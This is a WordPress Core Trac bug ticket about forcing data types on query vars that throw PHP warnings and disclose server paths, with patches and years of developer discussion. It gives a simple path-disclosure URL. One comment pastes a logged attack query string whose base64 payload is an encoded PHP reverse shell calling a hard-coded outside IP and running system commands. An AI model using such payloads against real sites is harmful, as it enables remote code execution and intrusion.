WordPress.org

Make WordPress Core

Opened 10 years ago

Last modified 7 weeks ago

#17737 reviewing defect (bug)

Be better at forcing data types for query vars

Reported by: juliobox Owned by: SergeyBiryukov
Milestone: 5.9 Priority: normal
Severity: normal Version: 3.0
Component: Query Keywords: has-patch has-screenshots needs-testing
Focuses: Cc:

Description

I already email this flaw to security@… but Andrew Nacin told me that this is not a WordPress flaw, but php server config flaw. So i post this here now.


Exploit : http://WEBSITE.COM/?author[]=1
Problem : FPD (https://www.owasp.org/index.php/Full_Path_Disclosure)
Solution : Add this "@ini_set('display_errors', 0);" or this "error_reporting(0);" in the end of wp-config.php file.
Patch :
1) wp-includes/query.php line 2239
Replace

$q['author'] = (string)urldecode($q['author']);

by

if ( is_array( $q['author'] ) ) {
$q['author'] = $q['author'][0];
}
$q['author'] = (string)urldecode($q['author']);

2) wp-includes/canonical.php line 142
Replace

} elseif ( is_author() && !empty($_GET['author']) && preg_match( '|^[0-9]+$|', $_GET['author'] ) ) {

by

} elseif ( is_author() && !empty($_GET['author']) && preg_match( '|^[0-9]+$|', !is_array($_GET['author']) ? $_GET['author'] : $_GET['author'][0] ) ) {


Julio - http://www.boiteaweb.fr

Attachments (11)

17737.patch (519 bytes) - added by xknown 10 years ago.
urldecode returns a string, move the cast to the right place
17737.2.patch (1.5 KB) - added by SergeyBiryukov 10 years ago.
17737.3.patch (4.4 KB) - added by SergeyBiryukov 8 years ago.
17737.4.patch (778 bytes) - added by SergeyBiryukov 8 years ago.
17737.5.patch (7.0 KB) - added by SergeyBiryukov 8 years ago.
17737.diff (4.4 KB) - added by wonderboymusic 8 years ago.
44652.diff (996 bytes) - added by arcturusink 3 years ago.
17737.6.diff (2.9 KB) - added by tellyworth 22 months ago.
Refreshed and expanded
Capture d’écran 2021-03-30 à 11.31.16.png (230.0 KB) - added by audrasjb 4 months ago.
Before 17737.7.diff
Capture d’écran 2021-03-30 à 11.55.17.png (102.8 KB) - added by audrasjb 4 months ago.
After 17737.7.diff
17737.7.diff (3.0 KB) - added by audrasjb 4 months ago.
Patch refresh + add is_scalar conditional statement for author

Download all attachments as: .zip

Change History (61)

#1 @nacin
10 years ago

  • Component changed from Security to Query
  • Severity changed from major to normal

The bug here being that we should be checking or forcing data types on a number of query vars, (such as author, p, post, etc, that only take integers).

#2 follow-up: @juliobox
10 years ago

FPD is considered as an attack by OWASP, this is not to be taken lightly.

Thank you for your responses Nacin :)

#3 in reply to: ↑ 2 @nacin
10 years ago

Replying to juliobox:

FPD is considered as an attack by OWASP, this is not to be taken lightly.

We know, but path disclosure via PHP errors is a server configuration issue, not an application issue.

#4 @juliobox
10 years ago

I do not want to argue but I do not agree with "path disclosure via PHP errors is a server configuration issue, not an application issue" :]

@xknown
10 years ago

urldecode returns a string, move the cast to the right place

#5 @nacin
10 years ago

  • Summary changed from Full Path Disclosure to Be better at forcing data types for query vars
  • Version changed from 3.2 to 3.0

#6 @SergeyBiryukov
10 years ago

  • Keywords has-patch added

17737.2.patch handles author, cat and orderby. Other int query vars don't seem to throw notices when being passed as an array.

Probably need to handle author_name and category_name (they also throw notices in that case).

#7 @nacin
9 years ago

  • Milestone changed from Awaiting Review to 3.6

I think 's' also throws a warning.

#8 @SergeyBiryukov
8 years ago

#23425 was marked as a duplicate.

#9 @SergeyBiryukov
8 years ago

#23425 mentions ?page[] and ?s[].

#10 follow-up: @dave1010
8 years ago

I believe this patch will still show a notice. From the PHP 5.4 changelog:

Changed silent conversion of array to string to produce a notice.

$ php -r '(string)[];'

PHP Notice: Array to string conversion in Command line code on line 1

#11 @ryan
8 years ago

  • Milestone changed from 3.6 to Future Release

#12 @wonderboymusic
8 years ago

  • Milestone changed from Future Release to 3.7

Sergey's patch still applies cleanly, moving to 3.7 for review

#13 in reply to: ↑ 10 @duck_
8 years ago

  • Keywords needs-patch added; has-patch removed

Replying to dave1010:

I believe this patch will still show a notice.

Yes. Tested with PHP 5.5.2.

#14 @SergeyBiryukov
8 years ago

17737.3.patch is another take. Handles attachment, name, pagename, category_name, cat, author, author_name, s, page, orderby.

#15 @SergeyBiryukov
8 years ago

17737.4.patch is another take, based on a brief IRC discussion.

It looks like post_type is the only public query variable that can be an array.

#16 follow-up: @nacin
8 years ago

I think 17737.3.patch is a step in the right direction. But, an array for any of these is invalid input, and I think should be discarded.
If something that isn't supposed to be an array, *is* an array, seems like it is an invalid input all together and should be unset.

17737.4.patch seems too broad. It can stomp on 3rd-party query vars, no?

#17 in reply to: ↑ 16 @SergeyBiryukov
8 years ago

  • Keywords has-patch added; needs-patch removed

Replying to nacin:

If something that isn't supposed to be an array, *is* an array, seems like it is an invalid input all together and should be unset.

The checks if a query var is set are a bit inconsistent: sometimes it's '' != $qv, other times it's ! empty() or isset(). Looks like an unset may not always be appropriate.

17737.5.patch adds an is_array() check to some existing conditions and assignments that cause a notice.

#18 @johnbillion
8 years ago

This patch appears to be stale. @SergeyBiryukov can you refresh it, possibly without the whitespace-only changes for clarity?

#19 @johnbillion
8 years ago

  • Keywords needs-refresh added

@wonderboymusic
8 years ago

#20 @wonderboymusic
8 years ago

Refreshed, I'll wait for PowerSerge to chime in here. I got rid of the whitespace changes just so the patch is easier to digest. In general, I like whitespace improvements, but I see how they can be a buzzkill when viewing the diff.

#21 @wonderboymusic
8 years ago

  • Keywords needs-refresh removed

#22 @nacin
8 years ago

  • Milestone changed from 3.7 to 3.8

Let's make sure we get this right.

#23 @SergeyBiryukov
8 years ago

#26308 was marked as a duplicate.

#24 @wonderboymusic
8 years ago

  • Keywords 3.9-early added
  • Milestone changed from 3.8 to Future Release

#25 @SergeyBiryukov
8 years ago

#26583 was marked as a duplicate.

#26 @IwanLuijksQuestMedia
7 years ago

What is the status of this ticket?

I currently still run into this issue (on the search page), using an array of terms for the taxonomy in the querystring, like so (where 'country' is added to the querystring through a form submission using the GET method):
country[]=nl&country[]=de

The search actually does work, but causes a number of PHP errors:

Warning: strpos() expects parameter 1 to be string, array given in /<path>/wp-includes/query.php on line 1766

Warning: preg_split() expects parameter 2 to be string, array given in /<path>/wp-includes/query.php on line 1767

Warning: Invalid argument supplied for foreach() in /<path>/wp-includes/query.php on line 1768

Warning: strpos() expects parameter 1 to be string, array given in /<path>/wp-includes/query.php on line 1766

Warning: preg_split() expects parameter 2 to be string, array given in /<path>/wp-includes/query.php on line 1767

Warning: Invalid argument supplied for foreach() in /<path>/wp-includes/query.php on line 1768
Last edited 7 years ago by IwanLuijksQuestMedia (previous) (diff)

This ticket was mentioned in IRC in #wordpress-dev by SergeyBiryukov. View the logs.


7 years ago

#29 @juliobox
6 years ago

Hey guys what do we need to close this ticket now? Thanks!

#30 @SergeyBiryukov
3 years ago

#44652 was marked as a duplicate.

#31 @SergeyBiryukov
3 years ago

  • Milestone changed from Future Release to 5.0
  • Owner set to SergeyBiryukov
  • Status changed from new to reviewing

Instead of ! is_array(), it's probably better to check is_string() specifically, see the patch on #44652.

@arcturusink
3 years ago

#32 @arcturusink
3 years ago

Made a mistake and uploaded the patch as 44652 instead of 17737. Any suggestion on how to fix it?

#33 @peterwilsoncc
3 years ago

  • Milestone changed from 5.0 to 5.1

Moving to the 5.1 milestone due to the WordPress 5.0 focus on the new
editor (Gutenberg).

#34 @johnjamesjacoby
3 years ago

Blast from the past.

Started seeing ?author[]=1 requests fill up my error logs in the past 24 hours.

#35 @johnjamesjacoby
3 years ago

  • Keywords 3.9-early removed

#36 @pento
3 years ago

  • Milestone changed from 5.1 to Future Release

Patch need refreshing, testing, review, etc.

#37 @SergeyBiryukov
2 years ago

#46797 was marked as a duplicate.

#38 @desrosj
2 years ago

#46799 was marked as a duplicate.

#39 @desrosj
2 years ago

  • Keywords needs-refresh added

#40 @knutsp
2 years ago

#46810 was marked as a duplicate.

@tellyworth
22 months ago

Refreshed and expanded

#41 follow-up: @tellyworth
22 months ago

attachment:17737.6.diff is refreshed for trunk, and incorporates ideas from several prior patches. It passes the current unit tests but doesn't include new ones.

A couple of notes:

  • I've used is_scalar() and defaulted to '' or 0 depending on the context. That's probably equivalent to prior behaviour but there might be subtle edge cases that aren't covered by tests.
  • cat and author both permit arrays, but they do it in an implicit way thanks to preg_replace()'s support for arrays in the subject param. There's test coverage for cat (see test_category_querystring_multiple_terms_formatted_as_array) but not author.

#42 in reply to: ↑ 41 ; follow-up: @dd32
15 months ago

Replying to tellyworth:

  • cat and author both permit arrays, but they do it in an implicit way thanks to preg_replace()'s support for arrays in the subject param.

Looks like any array support for author has been broken for at least 14 years, I traced it being treated as a string back that far (and then gave up). It passes through the preg_replace but will hit a urldecode down here. cat does support arrays, and it's not-so-implicitely handled by merging arrays back to a comma string.

#43 @SergeyBiryukov
15 months ago

#50022 was marked as a duplicate.

#44 @SergeyBiryukov
15 months ago

#50067 was marked as a duplicate.

#45 @SergeyBiryukov
13 months ago

#50474 was marked as a duplicate.

#46 @jamieburchell
6 months ago

Seeing this in my logs today:

Warning: trim() expects parameter 1 to be string, array given /wp-includes/class-wp-query.php in WP_Query::parse_query at line 779

This seems to be

$qv['name'] = trim( $qv['name'] );

Query string payload:

?name%5B%23markup%5D=eval%28base64_decode%28%29%22Lyo8P3BocCAvKiovCkBlcnJvcl9yZXBvcnRpbmcoMCk7CkBzZXRfdGltZV9saW1pdCgwKTsgQGlnbm9yZV91c2VyX2Fib3J0KDEpOyBAaW5pX3NldCgibWF4X2V4ZWN1dGlvbl90aW1lIiwwKTsKJGRpcz1AaW5pX2dldCgiZGlzYWJsZV9mdW5jdGlvbnMiKTsKaWYoIWVtcHR5KCRkaXMpKXsKJGRpcz1wcmVnX3JlcGxhY2UoIi9bLCBdKy8iLCAiLCIsICRkaXMpOwokZGlzPWV4cGxvZGUoIiwiLCAkZGlzKTsKJGRpcz1hcnJheV9tYXAoInRyaW0iLCAkZGlzKTsKfWVsc2V7CiRkaXM9YXJyYXkoKTsKfQoKJGlwYWRkcj0iMTkzLjIzOS4xNDcuMjI0IjsKJHBvcnQ9OTk5OTsKCmlmKCFmdW5jdGlvbl9leGlzdHMoIkpqV3piayIpKXsKZnVuY3Rpb24gSmpXemJrKCRjKXsKZ2xvYmFsICRkaXM7CgokSlRLR0ZFPSJpc19jYWxsYWJsZSI7CiRUQUNXZ1BQPSJpbl9hcnJheSI7CgppZigkSlRLR0ZFKCJzeXN0ZW0iKWFuZCEkVEFDV2dQUCgic3lzdGVtIiwkZGlzKSl7Cm9iX3N0YXJ0KCk7CnN5c3RlbSgkYyk7CiRvPW9iX2dldF9jb250ZW50cygpOwpvYl9lbmRfY2xlYW4oKTsKfWVsc2UKaWYoJEpUS0dGRSgiZXhlYyIpYW5kISRUQUNXZ1BQKCJleGVjIiwkZGlzKSl7CiRvPWFycmF5KCk7CmV4ZWMoJGMsJG8pOwokbz1qb2luKGNocigxMCksJG8pLmNocigxMCk7Cn1lbHNlCmlmKCRKVEtHRkUoInByb2Nfb3BlbiIpYW5kISRUQUNXZ1...&name%5B%23post_render%5D%5B%5D=assert&q=%5BFiltered%5D

#47 @mikeyarce
6 months ago

@SergeyBiryukov - are there any current blockers to move this forward? Anything I can do to help this get into a release?

@audrasjb
4 months ago

Before 17737.7.diff

@audrasjb
4 months ago

Patch refresh + add is_scalar conditional statement for author

#48 in reply to: ↑ 42 @audrasjb
4 months ago

  • Keywords has-screenshots added; needs-refresh removed
  • Milestone changed from Future Release to 5.8

In 17737.7.diff:

  • I refreshed the patch against trunk
  • I added one more is_scalar() check for author (see @dd32’s comment)

Moving this ticket for 5.8 consideration.

Replying to dd32:

Replying to tellyworth:

  • cat and author both permit arrays, but they do it in an implicit way thanks to preg_replace()'s support for arrays in the subject param.

Looks like any array support for author has been broken for at least 14 years, I traced it being treated as a string back that far (and then gave up). It passes through the preg_replace but will hit a urldecode down here. cat does support arrays, and it's not-so-implicitely handled by merging arrays back to a comma string.

#49 @SergeyBiryukov
3 months ago

#53018 was marked as a duplicate.

#50 @hellofromTonya
7 weeks ago

  • Keywords needs-testing added
  • Milestone changed from 5.8 to 5.9

Today is 5.8 Beta 1. The patch needs review, maybe unit tests, and manual testing. Punting to 5.9 (instead of Future Release) to finish the last bits.

Note: See TracTickets for help on using tickets.